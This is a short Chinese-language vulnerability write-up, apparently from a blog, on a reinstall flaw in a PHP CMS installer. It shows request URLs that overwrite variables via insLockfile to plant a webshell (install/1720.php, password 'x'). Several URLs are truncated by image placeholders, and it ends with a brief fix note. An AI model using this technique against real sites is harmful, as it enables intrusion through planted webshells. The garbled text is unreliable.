利用前提存在重裝漏洞
在自己網站準備一個遠端檔案
http://www.d.com/install/index.php.bak?step=11&insLockfile=a&s_在這裡插入圖檔描述" src="https://img-blog.csdnimg.cn/4520a04449a74a2d9acc97a8213f1448.png" />
http://www.d.com/install/index.php.bak?step=11&insLockfile=a&s_在這裡插入圖檔描述" src="https://img-blog.csdnimg.cn/7de974c77cc9484a9fa81afdfdc0b1c5.png" />
生成http://www.d.com/install/1720.php 密碼 x，webshell連接配接
存在漏洞的代碼
url參數，存在可以控制的參數，變量被覆寫，如下
insLockfile=a&s_在這裡插入圖檔描述" src="https://img-blog.csdnimg.cn/2a099bd77e464fb0b5dd05ea247d3dc1.png" />
代碼包含了config_update.php
修複：
把紅框的代碼放在前面
更改位置後